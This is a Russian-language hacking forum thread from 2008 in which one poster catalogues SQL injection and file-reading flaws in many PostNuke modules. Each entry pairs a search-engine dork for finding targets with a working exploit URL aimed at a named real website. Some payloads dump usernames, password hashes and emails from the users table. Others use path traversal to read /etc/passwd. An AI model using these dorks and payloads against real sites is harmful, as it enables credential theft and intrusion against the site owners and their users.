Уязвимости модулей PostNuke

Discussion in 'Веб-уязвимости' started by Kakoytoxaker, 15 Dec 2008.

  1. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль:Subjects SQL

    Уязвимый продукт: Модуль:Subjects Функция: printpage
    Версия: <=1.5
    Дорк: "inurl:module=subjects"

    Уязвимый кусок кода:
    PHP:
        $result $dbconn->Execute("SELECT $column[pageid]$column[parentpageid]
                               
    $column[subid]$subcolumn[subname]$column[pagetitle]
                               
    $column[pagecontent]$column[pagefile],
                               
    $column[pageauthor]$column[pageauthoremail]$column[pageauthorurl]
                               
    $column[pagedatetime]$column[pagecounter] 
                               FROM 
    $pntable[subpages]$pntable[subjects] 
                               WHERE 
    $column[pageid]=$pageid AND 
                               
    $column[subid]=$subcolumn[subid]");
    Я бы хотел написать, что из кода видно. что уязвимый параметр pageid, но это конечно не так .
    Из этого кода нифига не видно. если вы до этого не сталкивались с этим движком, так что придётся Вам поверить мне на слово :)

    Пример уязвимости:
    http://rentflat.ru/index.php?module=subjects&func=printpage&pageid=-3+union+select+1,2,3,4,concat(pn_uname,0x3a,pn_pass,0x3a,pn_email),6,7,8,9,0,11,12,13+from+nuke_users+limit+1,1/*

    Примечание: В данный момент существует версия этого модуля 2.01, в которой эта бага исправлена, но публикую её т.к. модуль достаточно популярен, и мне не встречались сайты с исправленной версией. в основном стоит эта.
     
    3 people like this.
  2. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль:FormExpress Blind-SQL

    Уязвимый продукт: Модуль:FormExpress
    Версия: 0.3.5
    Дорк: "inurl:module=FormExpress"

    Уязвимый кусок кода:
    PHP:
                $sql 'SELECT '.$this->FormExpressCache_column['form_data']
                      .
    '  FROM '.$this->FormExpressCache
                      
    .' WHERE '.$this->FormExpressCache_column['form_id'].' = ' 
                               
    pnVarPrepForStore($form_id);
    Уязвимый параметр form_id

    Пример уязвимости:
    http://www.westlakehomeinspections.com/index.php?module=FormExpress&func=display_form&form_id=1*if(substring(version(),1,1)=5,1,2)
     
    2 people like this.
  3. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: pnTresMailer SQL

    Уязвимый продукт: Модуль: pnTresMailer
    Версия: 6.2 Проверял так-же на 6.03 и 6.1 Уязвимость присутствует
    Дорк: "inurl:module=pnTresMailer"
    Условие: "magic_quotes-off"

    Уязвимый кусок кода:
    PHP:
    $sql "SELECT arch_message FROM $prefix"._nl_archive." WHERE arch_mid = '$arch_mid'";
    Уязвимый параметр arch_mid

    Эксплоит:
    Пример уязвимости:
    http://www.owa.sjp-darmstadt.de/index.php?op=modload&name=pnTresMailer&file=index&req=PreviewArchive&arch_mid=-1'+union+select+concat_ws(0x3a,User(),Database(),Version())/*
     
    #3 Kakoytoxaker, 16 Dec 2008
    Last edited: 20 Dec 2008
    1 person likes this.
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: PagEd SQL

    Уязвимый продукт: Модуль: PagEd(он-же paged)
    Версия: 0.9
    Дорк: "inurl:module=paged"
    Условие: "нет"

    Код приводить считаю не целесообразным т.к. фильтрация отсутствует совсем, уязвимых параметров куча

    Эксплоит: (примеры)
    Примеры уязвимости:
    http://www.owa.sjp-darmstadt.de/index.php?module=paged&topic_id=4&topictoview=3+union+select+1,concat_ws(0x3a,User(),Database(),Version()),3,4/*

    http://www.owa.sjp-darmstadt.de/index.php?module=paged&page_id=888+union+select+concat_ws(0x3a,User(),Database(),Version()),2,3,4/*

    http://www.owa.sjp-darmstadt.de/index.php?module=paged&file=index&topic_id=1&page_id=444+union+select+concat_ws(0x3a,User(),Database(),Version()),2,3,4/*
     
    #4 Kakoytoxaker, 16 Dec 2008
    Last edited: 16 Dec 2008
    3 people like this.
  5. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: ProdReviews SQL

    Уязвимый продукт: Модуль: ProdReviews
    Версия: 0.42
    Дорк: "inurl:module=ProdReviews"
    Условие: "нет"

    Уязвимый кусок кода:
    PHP:
    function showcontent()
    ...
     
    $query "SELECT * FROM $pntable[prodreviews] WHERE $column[id]=".pnVarPrepForStore($id)."";
    Уязвимый параметр id

    Эксплоит:
    Пример уязвимости:
    http://www.gesundheit.malzminden.de/index.php?module=ProdReviews&func=showcontent&id=-4+union+select+1,2,3,concat_ws(0x3a,User(),Database(),Version()),5,6,7,8,9,0,11,12,13,14,15/*
     
    4 people like this.
  6. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: concert SQL

    Уязвимый продукт: Модуль: concert
    Версия: 0.4
    Дорк: "inurl:module=concert"
    Условие: "нет"

    Уязвимый кусок кода:
    PHP:
        $sql "SELECT *
                FROM 
    $concerttable
                WHERE 
    $concertcolumn[dc_id] = " pnVarPrepForStore($dc_id);
    Уязвимый параметр dc_id


    Пример уязвимости:
    http://www.palimpsest.com.au/index.php?module=concert&func=display&dc_id=-001+union+select+1,concat_ws(0x3a,User(),Database(),Version()),3,44,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21
     
    3 people like this.
  7. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: Credits Чтение произвольных файлов(Это стандартный модуль)

    Уязвимый продукт: Модуль: Credits
    Версия: 1.1
    Дорк: "inurl:module=Credits"
    Условие: "нет"

    Код к сожалению показать не могу, просто не нашёл его т.к. версия не самая новая, а в версии 1.2 этого бага нет, но описания этой баги нигде не увидел, модуль стандартный версия такая попадается часто, поэтому выкладываю.

    Итак переходим по ссылке
    http://site.com/index.php?module=Credits
    Сдесь показаны все модули и их версии, сразу можно посмотреть версию нашего модуля "Credits", если она нас устраивает нажимаем на просмотр лицензии, или чего там можно посмотреть на любом доступном для этого модуле в разделе "Documentation"

    Перехватываем пакет Смотрим:
    Думаю тут всё понятно, нам нужно например etc/passwd тогда меняем:
    И наслаждаемся :)

    Пример уязвимости:
    http://www.obernet.org/index.php?module=Credits&func=display Можете попробовать сдесь
     
    1 person likes this.
  8. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: OpenRealty SQL

    Уязвимый продукт: Модуль: OpenRealty
    Версия: 71c
    Дорк: "inurl:module=OpenRealty"
    Условие: "нет"

    1 Код
    PHP:
        $sql "SELECT $realtyhomescolumn[or_agent],
                    
    $realtyhomescolumn[or_mls],
                    
    $realtyhomescolumn[or_title],
                    
    $realtyhomescolumn[or_address],
                    
    $realtyhomescolumn[or_city],
                    
    $realtyhomescolumn[or_state],
                    
    $realtyhomescolumn[or_zip],
                    
    $realtyhomescolumn[or_neighborhood],
                    
    $realtyhomescolumn[or_virtualtour],
                    
    $realtyhomescolumn[or_yearbuilt],
                    
    $realtyhomescolumn[or_sqfeet],
                    
    $realtyhomescolumn[or_lotsize],
                    
    $realtyhomescolumn[or_garagesize],
                    
    $realtyhomescolumn[or_type],
                    
    $realtyhomescolumn[or_beds],
                    
    $realtyhomescolumn[or_baths],
                    
    $realtyhomescolumn[or_numfloors],
                    
    $realtyhomescolumn[or_price],
                    
    $realtyhomescolumn[or_status],
                    
    $realtyhomescolumn[or_featured],
                    
    $realtyhomescolumn[or_dateposted],
                    
    $realtyhomescolumn[or_previewdesc],
                    
    $realtyhomescolumn[or_fulldesc],";
        for(
    $x=1;$x<=20;$x++) {
            
    $featurenum "or_pfeat".$x;
            
    $sql .= "$realtyhomescolumn[$featurenum],";
        }
        for(
    $x=1;$x<=20;$x++) {
            
    $featurenum "or_cfeat".$x;
            
    $sql .= "$realtyhomescolumn[$featurenum],";
        }
        
    $sql .= "    $realtyhomescolumn[or_notes]
                FROM 
    $realtyhomes 
                WHERE 
    $realtyhomescolumn[or_hid]=$or_hid";
    Вот такие вот жёсткие запросы :)

    Уязвимый параметр or_hid
    Пример уязвимости:
    http://www.alpujar.com/english/index.php?module=OpenRealty&func=display&or_hid=-274+union+select+1,2,concat_ws(0x3a,User(),Database(),Version()),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,64/*

    2 Код:
    PHP:
    $sql "SELECT $realtycolumn[or_pictype]$realtycolumn[or_picdata] FROM $realtytable WHERE $realtycolumn[or_picid] = $or_picid";
    Уязвимый параметр or_picid
    Пример уязвимости:
    http://www.bulgarianpropertiesonline.com/modules/OpenRealty/image.php?or_picid=-1074+union+select+1,concat_ws(0x3a,User(),Database(),Version())/*
     
    2 people like this.
  9. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: phPro(Девичья фамилия: phProfession) SQL

    Уязвимый продукт: Модуль: phPro(phProfession)
    Версия: 3.0
    Дорк: "inurl:module=phPro"
    Условие: "нет"

    Уязвимый кусок кода:
    PHP:
        $sql "SELECT $joblistingcolumn[vacancy],
                       
    $joblistingcolumn[jid],
                       
    $jobdepartmentcolumn[department],
                       
    $jobdepartmentcolumn[id],
                       
    $joblocationcolumn[location],
                       
    $joblocationcolumn[id],
                       
    $jobsalarycolumn[salary],
                       
    $jobsalarycolumn[id],
                       
    $joblistingcolumn[responsibilities],
                       
    $joblistingcolumn[qualifications],
                       
    $joblistingcolumn[cname],
                       
    $joblistingcolumn[cmail],
                       
    $joblistingcolumn[posted],
                       
    $joblistingcolumn[hits],
                       
    $joblistingcolumn[fk_pn_uid],
                       
    $joblistingcolumn[fk_expper_id],
                       
    $joblistingcolumn[expirytime],
                       
    $joblistingcolumn[active]
                FROM 
    $joblistingtable,
                    
    $jobdepartmenttable,
                    
    $joblocationtable,
                    
    $jobsalarytable
                WHERE 
    $jobdepartmentcolumn[id] = $joblistingcolumn[fk_department]
                AND 
    $joblocationcolumn[id] = $joblistingcolumn[fk_location]
                AND 
    $jobsalarycolumn[id] = $joblistingcolumn[fk_salary]
                AND 
    $joblistingcolumn[jid] = " pnVarPrepForStore($jid);
    Уязвимый параметр jid

    История с этим модулем такая, там откуда я его сливал в папке "phprofession" лежали два архива: "phPro_v3.0alpha" и "phprofession2.5.4" код выше из "phPro" , а в "phprofession" в коде даже параметра такого нет, ставить я его не стал(версия старая), а вот в гугле глянул. Оказалось что запись "module=phProfession" в урле можно запросто изменить на "module=phPro" и всё будет нормольно. а вот наоборот нет. Тоесть совместимость вроде должна быть у новой версии со старой, а тут наоборот :) (разбираться с этой байдой не стал, т.к к делу отношения не имеет.Кому хочется привожу оба линка).

    Примеры уязвимости:
    http://www.hillelsaroundchicago.org/index.php?module=phPro&func=display&jid=-57+union+select+1,concat_ws(0x3a,User(),Database(),Version()),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0
    http://www.arundellodge.org/index.php?module=phProfession&func=display&jid=-57+union+select+1,concat_ws(0x3a,User(),Database(),Version()),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0
     
    1 person likes this.
  10. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: recipes SQL

    Уязвимый продукт: Модуль: recipes
    Версия: <=1.2
    Дорк: "inurl:module=recipes"
    Условие: "нет"

    1 Код
    PHP:
        $sql "SELECT $recipescolumn[cid]
                                
    $recipescolumn[title],
                       
    $recipescolumn[ingredientsfor],
                       
    $recipescolumn[ingredients],
                       
    $recipescolumn[description],
                       
    $recipescolumn[note],
                                       
    $recipescolumn[origin],
                                       
    $recipescolumn[wine],                                                
                       
    $recipescolumn[image],
                       
    $recipescolumn[date],
                       
    $recipescolumn[author],
                       
    $recipescolumn[email],
                                         
    $recipescolumn[chkvegetarian]
                                         
    $recipescolumn[chkmilkandderivatives],
                                         
    $recipescolumn[chkwheatflour],
                                         
    $recipescolumn[chkeggs],
                                         
    $recipescolumn[pagecounter],
                                         
    $recipescolumn[submitter]                                                                                                                                                                          
                                                                                                                                                                                                                                                    
                FROM 
    $recipestable
                WHERE 
    $recipescolumn[lid] = " pnVarPrepForStore($lid);

    Уязвимый параметр lid
    Пример уязвимости:
    http://footprints-family-recipes.com/index.php?module=recipes&func=display&lid=-48+union+select+1,concat_ws(0x3a,User(),Database(),Version()),3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18/*

    Вобщем-то фильтрация отсутствует напрочь, так что скули везде, можно выкладывать весь модуль :)

    Уязвимый параметр pid

    Пример уязвимости:
    http://footprints-family-recipes.com/index.php?module=recipes&func=catview&pid=-9+union+select+1,concat_ws(0x3a,User(),Database(),Version())/*

    И т.д.
     
    1 person likes this.
  11. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: Semantics SQL

    Уязвимый продукт: Модуль: Semantics
    Версия: .71
    Дорк: "inurl:module=Semantics"
    Условие: "нет"

    Уязвимый кусок кода:
    PHP:
        $sql "SELECT $semanticscolumn[category],
                       
    $semanticscolumn[description]
                FROM 
    $semanticstable
                WHERE 
    $semanticscolumn[cid] = $cid";
    Уязвимый параметр cid

    Пример уязвимости:
    http://www.astrobio.net/news/index.php?module=Semantics&func=display&cid=-1+union+select+concat_ws(0x3a,User(),Database(),Version()),2
     
    1 person likes this.
  12. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: Standings множественные SQL

    Уязвимый продукт: Модуль: Standings
    Версия: 1.2
    Дорк: "inurl:module=Standings"
    Условие: "нет"

    Уязвимый кусок кода:

    Полное отсутствие фильтрации, если приводить код, то весь :)

    Уязвимые параметры sid,scid,tid и т.д

    Примеры уязвимостей:
    http://www.usffl.info/old/index.php?module=Standings&func=displayteam&cid=3&sid=3&tid=-11+union+select+1,concat_ws(0x3a,User(),Database(),Version()),3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19/*

    http://www.usffl.info/old/index.php?module=Standings&func=displaygame&cid=3&sid=3&scid=-263+union+select+1,2,3,4,5,6,concat_ws(0x3a,User(),Database(),Version()),8,9,0/*

    http://www.usffl.info/old/index.php?module=Standings&func=displaygame&cid=3&sid=-3+union+select+1,concat_ws(0x3a,User(),Database(),Version()),3,4,5/*

    и т.д.
     
    1 person likes this.
  13. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: Topics SQL

    Уязвимый продукт: Модуль: Topics
    Версия: 1.1c
    Дорк: "inurl:module=Topics"
    Условие: "нет"

    Уязвимый кусок кода:
    PHP:
        $sql "SELECT $topicscolumn[topicnametag],
                       
    $topicscolumn[topictext],
                       
    $topicscolumn[topicexttext],
                       
    $topicscolumn[topicimage],
                       
    $topicscolumn[topicparent],
                       
    $topicscolumn[topicname]
                FROM 
    $topicstable
                WHERE 
    $topicscolumn[topicid] = $topicid";
    Уязвимый параметр topicid

    Примеры уязвимости:
    http://www.fintraining.ru/index.php?module=Topics&func=display&topicid=-67+union+select+1,2,concat_ws(0x3a,User(),Database(),Version()),4,5,6/*

    http://www.angelusonline.org/index.php?module=Topics&func=view&topicid=-6+union+select+1,2,concat_ws(0x3a,User(),Database(),Version()),4,5,6/*
     
    1 person likes this.
  14. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    PostNuke. Модуль: formicula Чтение произвольных файлов

    Уязвимый продукт: Модуль: formicula
    Версия: 1.0
    Дорк: "inurl:module=formicula"
    Условие: "magic_quotes-off"

    Ещё одна читалка, и опять не нашёл где скачать код, хотя по дорку модуль вроде достаточно популярен

    Уязвимый параметр form

    Пример уязвимости:
    http://www.seacom-dtms.de/index.php?module=formicula&func=main&form=/../../../../../../../etc/passwd%00
     
    1 person likes this.